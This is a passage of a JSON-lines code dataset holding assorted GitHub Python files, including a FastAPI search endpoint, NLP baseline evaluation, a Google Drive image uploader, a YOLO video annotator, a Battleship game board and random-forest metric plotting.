file=sys.stderr)\n print(\" git tag -am 0.1.0 0.1.0\", file=sys.stderr)\n return ERR_NO_VERSION_FOUND\n\n if options.modifier:\n version = options.modifier(version)\n\n print(str(version).strip(\"-\"))\n return 0\n","repo_name":"hartym/git-semver","sub_path":"git_semver/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1217,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"22"} +{"seq_id":"17006807090","text":"from fastapi import APIRouter, HTTPException, Depends, Query\nfrom pydantic import BaseModel, validator, Field\nimport os\nimport re\nfrom typing import Optional\nimport time\nfrom ..config import logger\nfrom ..utils.db import vector_query\nfrom ..utils.auth import get_auth\n\nrouter = APIRouter()\n\n# Define the model and the tokenizer\ntop_k = 5 # Default value; adjust as needed\n\n@router.get(\"/search\")\ndef search(query: str = Query(..., min_length=1), results_to_return: Optional[int] = Query(top_k, gt=0), user_table: Optional[bool] = Query(False), claims: dict = Depends(get_auth)):\n \"\"\"\n Endpoint to perform a search against the embeddings dataset.\n\n Takes a JSON object containing the search query and the number of results to return.\n\n Parameters:\n query (str): The search query string.\n results_to_return (int, optional): Number of results to return. Default is 5.\n user_table (bool, optional): Optional parameter to specify username for the table to search, must be an alphanumeric value or a valid email address.\n\n Curl example:\n curl 'http://127.0.0.1:8000/search?query=string&results_to_return=5&user_table=false'\n\n Returns:\n dict: A dictionary containing the search results and the time taken to fetch them. \n Example:\n {\n \"time_elapsed\": 0.2,\n \"results\": [\n {\n \"Title\": \"What is Malware?\",\n \"Link\": \"http://example.com/malware\",\n \"embedding_text\": \"text_body\"\n },\n ...\n ]\n }\n \n Errors:\n If an error occurs during the execution, a JSON object containing an error message is returned.\n Example: {\"error\": \"description of the error\"}\n \"\"\"\n\n ## Uncomment the following lines to enable authentication\n username = claims.get('cognito:username') if user_table else None\n try:\n start_time = time.time() \n top_results = vector_query(query, results_to_return, username)\n end_time = time.time()\n time_elapsed = round(end_time - start_time, 2)\n results = []\n for result in top_results['matches']:\n metadata = result['metadata']\n # Extract the Title and Link or file information from the metadata\n link = metadata.get(\"URL\", [])\n result_data = {}\n\n if metadata.get(\"Title\", \"unknown\") != \"unknown\":\n result_data[\"Title\"] = metadata.get(\"Title\")\n if link:\n result_data[\"Link\"] = link\n if metadata.get(\"PublicationDate\", \"unknown\") != \"unknown\":\n result_data[\"Published\"] = metadata.get(\"PublicationDate\")\n if metadata.get(\"Author\", \"unknown\") != \"unknown\":\n result_data[\"Author\"] = metadata.get(\"Author\")\n if metadata.get(\"Tags\", \"unknown\") != \"unknown\":\n result_data[\"Tags\"] = metadata.get(\"Tags\")\n if metadata.get(\"Filename\", \"unknown\") != \"unknown\":\n result_data[\"Filename\"] = metadata.get(\"Filename\")\n if metadata.get(\"text\", \"unknown\") != \"unknown\":\n result_data[\"embedding_text\"] = metadata.get(\"text\")\n if metadata.get(\"doc_id\", \"unknown\") != \"unknown\":\n result_data[\"DocumentID\"] = metadata.get(\"doc_id\")\n result_data[\"similarity_score\"] = round(result['score'], 2)\n results.append(result_data)\n\n response = {\n \"time_elapsed\": time_elapsed,\n \"results\": results\n }\n\n return response\n\n except Exception as e:\n logger.error(e)\n return {\"error\": str(e)}\n finally:\n pass","repo_name":"TrainGRC/textweaver","sub_path":"weaver/routers/search.py","file_name":"search.py","file_ext":"py","file_size_in_byte":3704,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"} +{"seq_id":"15553241376","text":"#!/usr/bin/env python\n# coding: utf-8\n# Author: Hairong Wang\n\nimport json\nimport pandas as pd\n\n# Complete file name for amazonqa training dataset(squad format)\nINFILE = \"path/to/input/file\"\nOUTFILE = \"path/to/output/file\"\n\nclass AmazonQASampler:\n def __init__(self, infile):\n self._infile = infile\n\n def get_df(self):\n i = 0\n df = {}\n with open(self._infile, 'r') as fp:\n for line in fp:\n df[i] = json.loads(line)\n i += 1\n return pd.DataFrame.from_dict(df, orient='index')\n\n def sample(self):\n squad_train_df = self.get_df()\n amazonqa_sample = squad_train_df.sample(1000)\n return amazonqa_sample\n\ndef main():\n sampler = AmazonQASampler(INFILE)\n amazonqa_sample = sampler.sample()\n amazonqa_sample.to_json(OUTFILE)\n\n\nif __name__=='__main__':\n main()\n","repo_name":"hairong-wang/OnPoint","sub_path":"onpoint/amazonqasampler.py","file_name":"amazonqasampler.py","file_ext":"py","file_size_in_byte":867,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"44906217492","text":"\"\"\"Evaluate baseline models on conversational datasets.\n\nFor usage see README.md.\n\"\"\"\n\nimport argparse\nimport csv\nimport enum\nimport random\n\nimport glog\nimport numpy as np\nimport tensorflow as tf\nfrom tqdm import tqdm\n\nfrom baselines import keyword_based, vector_based\n\n\ndef _parse_args():\n \"\"\"Parse command-line args.\"\"\"\n parser = argparse.ArgumentParser()\n parser.add_argument(\n \"--method\",\n type=Method.from_string, choices=list(Method), required=True,\n help=\"The baseline method to use.\")\n parser.add_argument(\n \"--recall_k\", type=int,\n default=100, help=\"The value of k to compute recall at.\")\n parser.add_argument(\n \"--train_dataset\", type=str, required=True,\n help=\"File pattern of train set.\")\n parser.add_argument(\n \"--train_size\", type=int, default=10000,\n help=\"Number of examples from the training set to use in training.\")\n parser.add_argument(\n \"--test_dataset\", type=str, required=True,\n help=\"File pattern of test set.\")\n parser.add_argument(\n \"--eval_num_batches\", type=int, default=500,\n help=\"Number of batches to use in the evaluation.\")\n parser.add_argument(\n \"--output_file\", type=str,\n help=\"Optional file to output result as a CSV row.\")\n parser.add_argument(\n \"--deduplicate_eval\", default=False, action=\"store_true\",\n help=\"If set, the evaluation will de-duplicate examples with \"\n \"identical contexts.\")\n return parser.parse_args()\n\n\nclass Method(enum.Enum):\n # Keyword based methods.\n TF_IDF = 1\n BM25 = 2\n\n # Vector similarity based methods.\n USE_SIM = 3\n USE_LARGE_SIM = 4\n ELMO_SIM = 5\n BERT_SMALL_SIM = 6\n BERT_LARGE_SIM = 7\n USE_QA_SIM = 8\n CONVERT_SIM = 9\n\n # Vector mapping methods.\n USE_MAP = 10\n USE_LARGE_MAP = 11\n ELMO_MAP = 12\n BERT_SMALL_MAP = 13\n BERT_LARGE_MAP = 14\n USE_QA_MAP = 15\n CONVERT_MAP = 16\n\n def to_method_object(self):\n \"\"\"Convert the enum to an instance of `BaselineMethod`.\"\"\"\n if self == self.TF_IDF:\n return keyword_based.TfIdfMethod()\n elif self == self.BM25:\n return keyword_based.BM25Method()\n elif self == self.USE_SIM:\n return vector_based.VectorSimilarityMethod(\n encoder=vector_based.TfHubEncoder(\n \"https://tfhub.dev/google/\"\n \"universal-sentence-encoder/2\"))\n elif self == self.USE_LARGE_SIM:\n return vector_based.VectorSimilarityMethod(\n encoder=vector_based.TfHubEncoder(\n \"https://tfhub.dev/google/\"\n \"universal-sentence-encoder-large/3\"))\n elif self == self.ELMO_SIM:\n return vector_based.VectorSimilarityMethod(\n encoder=vector_based.TfHubEncoder(\n \"https://tfhub.dev/google/elmo/1\"))\n elif self == self.USE_MAP:\n return vector_based.VectorMappingMethod(\n encoder=vector_based.TfHubEncoder(\n \"https://tfhub.dev/google/\"\n \"universal-sentence-encoder/2\"))\n elif self == self.USE_LARGE_MAP:\n return vector_based.VectorMappingMethod(\n encoder=vector_based.TfHubEncoder(\n \"https://tfhub.dev/google/\"\n \"universal-sentence-encoder-large/3\"))\n elif self == self.ELMO_MAP:\n return vector_based.VectorMappingMethod(\n encoder=vector_based.TfHubEncoder(\n \"https://tfhub.dev/google/elmo/1\"))\n elif self == self.BERT_SMALL_SIM:\n return vector_based.VectorSimilarityMethod(\n encoder=vector_based.BERTEncoder(\n \"https://tfhub.dev/google/\"\n \"bert_uncased_L-12_H-768_A-12/1\"))\n elif self == self.BERT_SMALL_MAP:\n return vector_based.VectorMappingMethod(\n encoder=vector_based.BERTEncoder(\n \"https://tfhub.dev/google/\"\n \"bert_uncased_L-12_H-768_A-12/1\"))\n elif self == self.BERT_LARGE_SIM:\n return vector_based.VectorSimilarityMethod(\n encoder=vector_based.BERTEncoder(\n \"https://tfhub.dev/google/\"\n \"bert_uncased_L-24_H-1024_A-16/1\"))\n elif self == self.BERT_LARGE_MAP:\n return vector_based.VectorMappingMethod(\n encoder=vector_based.BERTEncoder(\n \"https://tfhub.dev/google/\"\n \"bert_uncased_L-24_H-1024_A-16/1\"))\n elif self == self.USE_QA_SIM:\n return vector_based.VectorSimilarityMethod(\n encoder=vector_based.USEDualEncoder(\n \"https://tfhub.dev/google/\"\n \"universal-sentence-encoder-multilingual-qa/1\"))\n elif self == self.USE_QA_MAP:\n return vector_based.VectorMappingMethod(\n encoder=vector_based.USEDualEncoder(\n \"https://tfhub.dev/google/\"\n \"universal-sentence-encoder-multilingual-qa/1\"))\n elif self == self.CONVERT_SIM:\n return vector_based.VectorSimilarityMethod(\n encoder=vector_based.ConveRTEncoder(\n \"http://models.poly-ai.com/convert/v1/model.tar.gz\"))\n elif self == self.CONVERT_MAP:\n return vector_based.VectorMappingMethod(\n encoder=vector_based.ConveRTEncoder(\n \"http://models.poly-ai.com/convert/v1/model.tar.gz\"))\n raise ValueError(\"Unknown method {}\".format(self))\n\n def __str__(self):\n \"\"\"String representation to use in argparse help text.\"\"\"\n return self.name\n\n @staticmethod\n def from_string(s):\n \"\"\"Convert a string parsed from argparse to an enum instance.\"\"\"\n try:\n return Method[s]\n except KeyError:\n raise ValueError()\n\n\ndef _evaluate_method(method, recall_k, contexts, responses):\n accuracy_numerator = 0.0\n accuracy_denominator = 0.0\n for i in tqdm(range(0, len(contexts), recall_k)):\n context_batch = contexts[i:i + recall_k]\n responses_batch = responses[i:i + recall_k]\n if len(context_batch) != recall_k:\n break\n\n # Shuffle the responses.\n permutation = np.arange(recall_k)\n np.random.shuffle(permutation)\n context_batch_shuffled = [context_batch[j] for j in permutation]\n\n predictions = method.rank_responses(\n context_batch_shuffled, responses_batch)\n if predictions.shape != (recall_k, ):\n raise ValueError(\n \"Predictions returned by method should have shape ({}, ), \"\n \"but saw {}\".format(recall_k, predictions.shape))\n accuracy_numerator += np.equal(predictions, permutation).mean()\n accuracy_denominator += 1.0\n\n accuracy = 100 * accuracy_numerator / accuracy_denominator\n return accuracy\n\n\ndef _load_data(file_pattern, num_examples, deduplicate=False):\n \"\"\"Load contexts and responses from the given conversational dataset.\"\"\"\n contexts = []\n responses = []\n seen_contexts = set()\n complete = False\n with tqdm(total=num_examples) as progress_bar:\n file_names = tf.gfile.Glob(file_pattern)\n random.shuffle(file_names)\n if not file_names:\n raise ValueError(\n \"No files matched pattern {}\".format(file_pattern))\n for file_name in file_names:\n glog.info(\"Reading %s\", file_name)\n for record in tf.python_io.tf_record_iterator(file_name):\n example = tf.train.Example()\n example.ParseFromString(record)\n context = example.features.feature[\n 'context'].bytes_list.value[0].decode(\"utf-8\")\n if deduplicate and context in seen_contexts:\n continue\n if deduplicate:\n seen_contexts.add(context)\n contexts.append(context)\n response = example.features.feature[\n 'response'].bytes_list.value[0].decode(\"utf-8\")\n responses.append(response)\n progress_bar.update(1)\n if len(contexts) >= num_examples:\n complete = True\n break\n if complete:\n break\n glog.info(\"Read %i examples\", len(contexts))\n if not complete:\n glog.warning(\n \"%i examples were requested, but dataset only contains %i.\",\n num_examples, len(contexts))\n\n return contexts, responses\n\n\nif __name__ == \"__main__\":\n args = _parse_args()\n method = args.method.to_method_object()\n glog.info(\"Loading training data\")\n contexts_train, responses_train = _load_data(\n args.train_dataset, args.train_size)\n\n glog.info(\"Training %s method\", args.method)\n method.train(contexts_train, responses_train)\n\n glog.info(\"Loading test data\")\n contexts_test, responses_test = _load_data(\n args.test_dataset, args.eval_num_batches * args.recall_k,\n deduplicate=args.deduplicate_eval)\n\n glog.info(\"Running evaluation\")\n accuracy = _evaluate_method(\n method, args.recall_k, contexts_test, responses_test)\n glog.info(\n \"Final computed 1-of-%i accuracy is %.1f%%\",\n args.recall_k, accuracy\n )\n\n if args.output_file is not None:\n with open(args.output_file, \"a\") as f:\n csv_writer = csv.writer(f)\n csv_writer.writerow([\n args.method, args.train_dataset, args.test_dataset,\n len(contexts_train), len(contexts_test),\n args.recall_k, accuracy\n ])\n","repo_name":"PolyAI-LDN/conversational-datasets","sub_path":"baselines/run_baseline.py","file_name":"run_baseline.py","file_ext":"py","file_size_in_byte":9760,"program_lang":"python","lang":"en","doc_type":"code","stars":1190,"dataset":"github-code","pt":"22"} +{"seq_id":"41422387738","text":"from __future__ import print_function\nimport httplib2\nimport os, io\nimport urllib.request\nimport shutil\nfrom apiclient import discovery\nfrom oauth2client import client\nfrom oauth2client import tools\nfrom oauth2client.file import Storage\nfrom apiclient.http import MediaFileUpload, MediaIoBaseDownload\nimport os\nfrom shortid import ShortId\nsid = ShortId()\nfrom pymongo import MongoClient\ntry:\n import argparse\n flags = argparse.ArgumentParser(parents=[tools.argparser]).parse_args()\nexcept ImportError:\n flags = None\nimport auth\n# If modifying these scopes, delete your previously saved credentials\n# at ~/.credentials/drive-python-quickstart.json\nSCOPES = 'https://www.googleapis.com/auth/drive'\nCLIENT_SECRET_FILE = 'credentials.json'\nAPPLICATION_NAME = 'Drive API Python Quickstart'\nauthInst = auth.auth(SCOPES,CLIENT_SECRET_FILE,APPLICATION_NAME)\ncredentials = authInst.getCredentials()\n\nhttp = credentials.authorize(httplib2.Http())\ndrive_service = discovery.build('drive', 'v3', http=http)\n\nclient = MongoClient('mongodb://localhost:27017/') # URL of MongoDB Database\ndb = client['prod'] # Database Name \nepisodes = db.episodes # Collection from the Database\n\n# This function uploads file to google drive\n# Arguments:- filename, filepath, filetype\ndef uploadFile(filename,filepath,mimetype):\n # In parent put ID of Folder in which files to be uploaded please give appropriate permisssions to the folder if you want to access the files without login give public access to the folder\n file_metadata = {'name': filename, \"parents\": [\"1UFXxiR1vXMfMXG-8IfV7Xo7zT_DjpJzF\"]}\n media = MediaFileUpload(filepath,\n mimetype=mimetype)\n file = drive_service.files().create(body=file_metadata,\n media_body=media,\n fields='webContentLink').execute()\n # Returns a link for the the file\n return file.get('webContentLink') \n\nprint('Starting Upload')\n\n# Keeps track of the count\ncount = 0\n\n# For tracking the upload of files we have added a new field in mongodb object called uploaded this tells us about the status of upload\nfor data in episodes.find({\"uploded\": False}, {\"poster\": 1}):\n link=data[\"poster\"]\n newLink = ''\n count=count+1\n print(count)\n if count%200 == 0: # This ensures files don't pile up in our system by deleting the whole folder and creating it again\n shutil.rmtree('temp') \n os.mkdir('temp')\n try:\n file_name=sid.generate() # This generates unique filenames\n urllib.request.urlretrieve(link, 'temp/'+file_name+'.jpg') # Downloades the image\n link = uploadFile(file_name+'.jpg','temp/'+file_name+'.jpg','image/jpeg') # Uploads the image\n newLink=link.replace('download','view',1) # Make the link viewable \n print(newLink) # Print the link\n # Update the MongoDB object with new link\n update = episodes.update_one({\"_id\": data[\"_id\"]},{\"$set\": {\"poster\": newLink, \"uploded\": True}})\n except:\n print(link) # Print link in which error occured\n # Update the MongoDB with uploaded true if you want to skip this link else make it false\n update = episodes.update_one({\"_id\": data[\"_id\"]},{\"$set\": {\"uploded\": True}})\n continue\n\nprint(\"All Done\")","repo_name":"Swap76/Move_Assets_To_Google_Drive","sub_path":"singleThread_Upload.py","file_name":"singleThread_Upload.py","file_ext":"py","file_size_in_byte":3288,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"} +{"seq_id":"70726577977","text":"import os, doxter\n\nclass BookProcessor(doxter.Processor):\n\tdef __init__(self):\n\t\tself.page = doxter.get_config('page')\n\t\tself.output_file = doxter.get_config('output_file', 'index.html')\n\t\tself.autolinks = doxter.get_processor_by_name('AutoLinksProcessor')\n\t\tself.toc = doxter.get_processor_by_name('TOCProcessor')\n\t\tself.template = doxter.get_processor_by_name('TemplateProcessor')\n\t\tself.output = doxter.get_processor_by_name('OutputProcessor')\n\t\tself.content = ''\n\n\tdef priority(self):\n\t\treturn -4\n\n\tdef process(self, root, extension, content):\n\t\tself.content += content\n\t\treturn None\n\n\tdef teardown(self):\n\t\tself.page.set('filename', self.output_file)\n\t\tself.page.set('basename', os.path.basename(self.output_file))\n\t\troot, extension = os.path.splitext(self.output_file)\n\t\tcontent = self.autolinks.process(root, extension, self.content)\n\t\tcontent = self.toc.process(root, extension, content)\n\t\tcontent = self.template.process(root, extension, content)\n\t\tcontent = self.output.process(root, extension, content)\n","repo_name":"icebreaker/doxter","sub_path":"examples/book/_plugins/bookprocessor.py","file_name":"bookprocessor.py","file_ext":"py","file_size_in_byte":1014,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"22"} +{"seq_id":"27583155413","text":"from ultralytics import YOLO\nimport cv2\nimport numpy as np\nimport torch\nimport time\nclass Async:\n def __init__(self):\n self.model = YOLO(\"yolov8-trained.pt\")\n self.classes = self.model.names\n self.device = 'cuda' if torch.cuda.is_available() else 'cpu'\n print(\"\\n\\nDevice Used:\", self.device)\n\n def score_frame(self, frame):\n results = self.model(frame)\n annotated_frame = self.annotate_frame(frame, results)\n return annotated_frame\n\n def annotate_frame(self, frame, results):\n annotated_frame = frame.copy() # Create a copy of the frame\n for result in results:\n annotated_frame = result.render(annotated_frame) # Annotate the frame\n return annotated_frame\n\n def process_video(self):\n cap = cv2.VideoCapture(0)\n width = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH))\n height = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT))\n output_video = cv2.VideoWriter('annotated_video.mp4', cv2.VideoWriter_fourcc(*'mp4v'), 30, (width, height))\n\n while cap.isOpened():\n start_time = time.perf_counter()\n ret, frame = cap.read()\n if not ret:\n break\n annotated_frame = self.score_frame(frame)\n output_video.write(annotated_frame) # Write the annotated frame to the video\n\n end_time = time.perf_counter()\n fps = 1 / np.round(end_time - start_time, 3)\n cv2.putText(annotated_frame, f'FPS: {int(fps)}', (20, 70), cv2.FONT_HERSHEY_SIMPLEX, 1.5)\n cv2.imshow(\"Annotated Frame\", annotated_frame)\n \n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\n cap.release()\n output_video.release()\n cv2.destroyAllWindows()\n\ndetection = Async()\ndetection.process_video()\n","repo_name":"ShufanSun/TrafficDetection","sub_path":"AsynchrousVideoProcessing.py","file_name":"AsynchrousVideoProcessing.py","file_ext":"py","file_size_in_byte":1823,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"74284290617","text":"from BattleShip.GameLogic.BoardValue import BoardValueEnum\nfrom BattleShip.GamePieces.ShipType import ShipDirectionEnum\nfrom BattleShip.GamePieces.ShipType import ShipInformation\n\n\nclass GameBoard:\n MAX_ROW = 11\n MIN_ROW = 1\n MAX_COL = 11\n MIN_COL = 1\n \"\"\"This is the representation for the game board\"\"\"\n def __init__(self):\n # declare a 10 x 10 grid for the game, the extra 1 is to display the coordinates\n self.board = [[BoardValueEnum.UNOCCUPIED for i in range(GameBoard.MAX_ROW)] for j in range(GameBoard.MAX_COL)]\n # Fill the 1st row with numbers\n for i in range(len(self.board) - 1):\n self.board[i + 1][0] = i + 1\n # Fill the 1st column with letters\n for i in range(len(self.board)-1):\n self.board[0][i + 1] = chr(ord('A') + i)\n self.board[0][0] = ''\n\n def place_ship(self, ship):\n current_row = ship.row_placed\n current_col = ship.col_placed\n # check if the ship can be placed\n for i in range(int(ship.length)):\n if current_col < GameBoard.MIN_COL or current_row < GameBoard.MIN_ROW or \\\n current_row > GameBoard.MAX_ROW - 1 or current_col > GameBoard.MAX_COL - 1 or \\\n self.board[current_row][current_col] != BoardValueEnum.UNOCCUPIED:\n return False\n if ship.ship_direction == ShipDirectionEnum.HORIZONTAL:\n current_col += 1\n else:\n current_row += 1\n\n # reset column and row\n current_row = ship.row_placed\n current_col = ship.col_placed\n\n # it can be placed, so place it\n for i in range(int(ship.length)):\n self.board[current_row][current_col] = ShipInformation.boardValue.get(ship.ship_type)\n if ship.ship_direction == ShipDirectionEnum.HORIZONTAL:\n current_col += 1\n else:\n current_row += 1\n\n return True\n","repo_name":"JerryBLi/Battleship","sub_path":"BattleShip/GameLogic/GameBoard.py","file_name":"GameBoard.py","file_ext":"py","file_size_in_byte":1957,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"13949398989","text":"# FSI - Project 2\n\nimport json\nimport pandas\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\nfrom statistics import mean\n\n\n# Get metrics(accuracy, f1_score and precision) from json element\ndef get_metrics(json_el, hyperparam, average='macro'):\n accuracy_data = {}\n f1_score_data = {}\n precision_data = {}\n\n for fold, args in json_el.items():\n for hyperparam_obj in args:\n if hyperparam_obj['args'][hyperparam] in accuracy_data:\n accuracy_data[hyperparam_obj['args'][hyperparam]].append(hyperparam_obj['metrics']['accuracy'])\n f1_score_data[hyperparam_obj['args'][hyperparam]].append(hyperparam_obj['metrics']['f1_score'][average])\n precision_data[hyperparam_obj['args'][hyperparam]].append(\n hyperparam_obj['metrics']['precision'][average])\n else:\n accuracy_data[hyperparam_obj['args'][hyperparam]] = [hyperparam_obj['metrics']['accuracy']]\n f1_score_data[hyperparam_obj['args'][hyperparam]] = [hyperparam_obj['metrics']['f1_score'][average]]\n precision_data[hyperparam_obj['args'][hyperparam]] = [hyperparam_obj['metrics']['precision'][average]]\n\n return list(accuracy_data.keys()), accuracy_data, f1_score_data, precision_data\n\n\n# Get statistics given a aggregate function, aggregating list of values in which fold following the aggregate function\ndef get_aggregated_statistics(datas, aggregate=mean):\n ret = {\n 'hyperparam_value': datas[0],\n 'accuracy': {\n 'aggregated_list': list(map(aggregate, datas[1].values()))\n },\n 'f1_score': {\n 'aggregated_list': list(map(aggregate, datas[2].values()))\n },\n 'precision': {\n 'aggregated_list': list(map(aggregate, datas[3].values()))\n },\n }\n\n # max of which metric\n ret['accuracy']['max_value'] = max(ret['accuracy']['aggregated_list'])\n ret['f1_score']['max_value'] = max(ret['f1_score']['aggregated_list'])\n ret['precision']['max_value'] = max(ret['precision']['aggregated_list'])\n\n # hyperparam_value of which max metric\n ret['accuracy']['max_hyperparam_value'] = ret['hyperparam_value'][\n ret['accuracy']['aggregated_list'].index(ret['accuracy']['max_value'])]\n ret['f1_score']['max_hyperparam_value'] = ret['hyperparam_value'][\n ret['f1_score']['aggregated_list'].index(ret['f1_score']['max_value'])]\n ret['precision']['max_hyperparam_value'] = ret['hyperparam_value'][\n ret['precision']['aggregated_list'].index(ret['precision']['max_value'])]\n\n return ret\n\n\n# Plot the graph given a statistics data, and save the graph in image file\ndef plot_graph(data_statistics, title=\"\", image_name=None, hyperparam_name=\"\"):\n df = pd.DataFrame({'x': data_statistics['hyperparam_value'],\n 'accuracy': data_statistics['accuracy']['aggregated_list'],\n 'f1_score': data_statistics['f1_score']['aggregated_list'],\n 'precision': data_statistics['precision']['aggregated_list']\n })\n\n # Plot accuracy - lines\n plt.plot('x', 'accuracy', data=df, color='red', label='Accuracy')\n plt.plot('x', 'f1_score', data=df, color='green', label='F1 Score')\n plt.plot('x', 'precision', data=df, color='blue', label='Precision')\n\n # Plot accuracy - create image\n plt.legend()\n plt.title(title)\n plt.xlabel('{hyperparam_name} value'.format(hyperparam_name=hyperparam_name))\n plt.ylabel('metric value')\n\n if image_name:\n plt.savefig('../results/graphs/{name}.png'.format(name=image_name))\n\n plt.show()\n\n\n# Open a json file, parse it\n# use functions above to generate graph and return the statistics, given a hyperparam\ndef open_and_plot_graph_for_hyperparam(hyperparam_name, hyperparam_file_name, attribute_name, aggregate=mean):\n with open('../results/json/{file_name}.json'.format(file_name=hyperparam_file_name), 'r') as myfile:\n data = myfile.read()\n\n json_el = json.loads(data)\n\n datas = get_metrics(json_el, attribute_name)\n\n # get statistics of hyperparam\n statistics_data = get_aggregated_statistics(datas, aggregate)\n\n # Plot hyperparam graph\n plot_graph(statistics_data,\n hyperparam_name=hyperparam_name,\n title='Metrics values to \"{hyperparam_name}\" hyperparam'.format(hyperparam_name=hyperparam_name),\n image_name=hyperparam_name)\n\n return statistics_data\n\n\n# --------------- PLOT AND SAVE STATISTICS OF HYPERPARAMS --------------\n\n# create a graph to number os estimators hyperparam\nn_estimators_statistics = open_and_plot_graph_for_hyperparam(\n hyperparam_name='Number of estimators',\n hyperparam_file_name='n_estimators',\n attribute_name='n_estimators',\n aggregate=min)\n\n# create a graph to min sample split hyperparam\nmin_samples_split_statistics = open_and_plot_graph_for_hyperparam(\n hyperparam_name='Min Samples Split',\n hyperparam_file_name='min_samples_split',\n attribute_name='min_samples_split',\n aggregate=min)\n\n# create a graph to min sample split hyperparam\ncriterion_statistics = open_and_plot_graph_for_hyperparam(\n hyperparam_name='Criterions',\n hyperparam_file_name='criterion',\n attribute_name='criterion',\n aggregate=min)\n\n# create a graph to min sample split hyperparam\nmax_depth_statistics = open_and_plot_graph_for_hyperparam(\n hyperparam_name='Max Depth',\n hyperparam_file_name='max_depth',\n attribute_name='max_depth',\n aggregate=min)\n\n# create a graph to min samples leaf hyperparam\nmin_samples_leaf_statistics = open_and_plot_graph_for_hyperparam(\n hyperparam_name='Min Samples Leaf',\n hyperparam_file_name='min_samples_leaf',\n attribute_name='min_samples_leaf',\n aggregate=min)\n\n# create a graph to number os estimators hyperparam\nmin_impurity_decrease_statistics = open_and_plot_graph_for_hyperparam(\n hyperparam_name='Min Impurity Decrease',\n hyperparam_file_name='min_impurity_decrease',\n attribute_name='min_impurity_decrease',\n aggregate=min)\n\n# --------------- END PLOT AND SAVE STATISTICS OF HYPERPARAMS --------------\n\nprint(\"Table of bests values\")\nprint('Number of estimators',\n round(n_estimators_statistics['accuracy']['max_value'], 3),\n n_estimators_statistics['accuracy']['max_hyperparam_value'],\n round(n_estimators_statistics['f1_score']['max_value'], 3),\n n_estimators_statistics['f1_score']['max_hyperparam_value'],\n round(n_estimators_statistics['precision']['max_value'], 3),\n n_estimators_statistics['precision']['max_hyperparam_value'],\n sep=','\n )\n\nprint('Min Samples Split',\n round(min_samples_split_statistics['accuracy']['max_value'], 3),\n min_samples_split_statistics['accuracy']['max_hyperparam_value'],\n round(min_samples_split_statistics['f1_score']['max_value'], 3),\n min_samples_split_statistics['f1_score']['max_hyperparam_value'],\n round(min_samples_split_statistics['precision']['max_value'], 3),\n min_samples_split_statistics['precision']['max_hyperparam_value'],\n sep=','\n )\n\nprint('Criterion',\n round(criterion_statistics['accuracy']['max_value'], 3),\n criterion_statistics['accuracy']['max_hyperparam_value'],\n round(criterion_statistics['f1_score']['max_value'], 3),\n criterion_statistics['f1_score']['max_hyperparam_value'],\n round(criterion_statistics['precision']['max_value'], 3),\n criterion_statistics['precision']['max_hyperparam_value'],\n sep=','\n )\n\nprint('Max Depth',\n round(max_depth_statistics['accuracy']['max_value'], 3),\n max_depth_statistics['accuracy']['max_hyperparam_value'],\n round(max_depth_statistics['f1_score']['max_value'], 3),\n max_depth_statistics['f1_score']['max_hyperparam_value'],\n round(max_depth_statistics['precision']['max_value'], 3),\n max_depth_statistics['precision']['max_hyperparam_value'],\n sep=','\n )\n\nprint('Min Samples Leaf',\n round(min_samples_leaf_statistics['accuracy']['max_value'], 3),\n min_samples_leaf_statistics['accuracy']['max_hyperparam_value'],\n round(min_samples_leaf_statistics['f1_score']['max_value'], 3),\n min_samples_leaf_statistics['f1_score']['max_hyperparam_value'],\n round(min_samples_leaf_statistics['precision']['max_value'], 3),\n min_samples_leaf_statistics['precision']['max_hyperparam_value'],\n sep=','\n )\n\nprint('Min Impurity Decrease',\n round(min_impurity_decrease_statistics['accuracy']['max_value'], 3),\n min_impurity_decrease_statistics['accuracy']['max_hyperparam_value'],\n round(min_impurity_decrease_statistics['f1_score']['max_value'], 3),\n min_impurity_decrease_statistics['f1_score']['max_hyperparam_value'],\n round(min_impurity_decrease_statistics['precision']['max_value'], 3),\n min_impurity_decrease_statistics['precision']['max_hyperparam_value'],\n sep=','\n )\n","repo_name":"Hugo-NF/FSI-2-Random_Forest","sub_path":"src/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":8974,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"31341034302","text":"# -*- coding : utf-8 -*-\n\nimport numpy as np\n\n# cross entropy loss\ndef compute_loss(A_L, Y):\n \"\"\"\n :param A_L: probability vector corresponding to your label predictions, shape (1, number of examples)\n :param Y: true \"label\" vector , shape (1, number of examples)\n :return loss:\n \"\"\"\n m = Y.shape[1]\n loss = -1. / m * np.sum(np.multiply(np.log(A_L), Y) + np.multiply(np.log(1 - A_L), 1 - Y))\n loss = np.squeeze(loss) # To make sure your cost's shape is what we expect (e.g. this turns [[10]] into 10).\n assert (loss.shape == ())\n\n return loss\n\ndef compute_loss_with_L2_regularization(A_L, Y, lambd, W1,W2,W3,W4):\n \"\"\"\n :param A_L:\n :param Y:\n :param lambd:\n :param W1:\n :param W2:\n :param W3:\n :param W4:\n :return cost: loss with L2 regularization\n \"\"\"\n cross_entropy_cost = compute_loss(A_L, Y)\n m = Y.shape[1]\n l2_regularization_cost = lambd / (2 * m) * (np.sum(np.square(W1)) + np.sum(np.square(W2)) +\n np.sum(np.square(W3)) + np.sum(np.square(W4)))\n\n cost = cross_entropy_cost + l2_regularization_cost\n\n return cost","repo_name":"shenhuipeng/Two-Nested-Spirals","sub_path":"lossFunction.py","file_name":"lossFunction.py","file_ext":"py","file_size_in_byte":1146,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"} +{"seq_id":"34756169944","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time : 2022/1/20 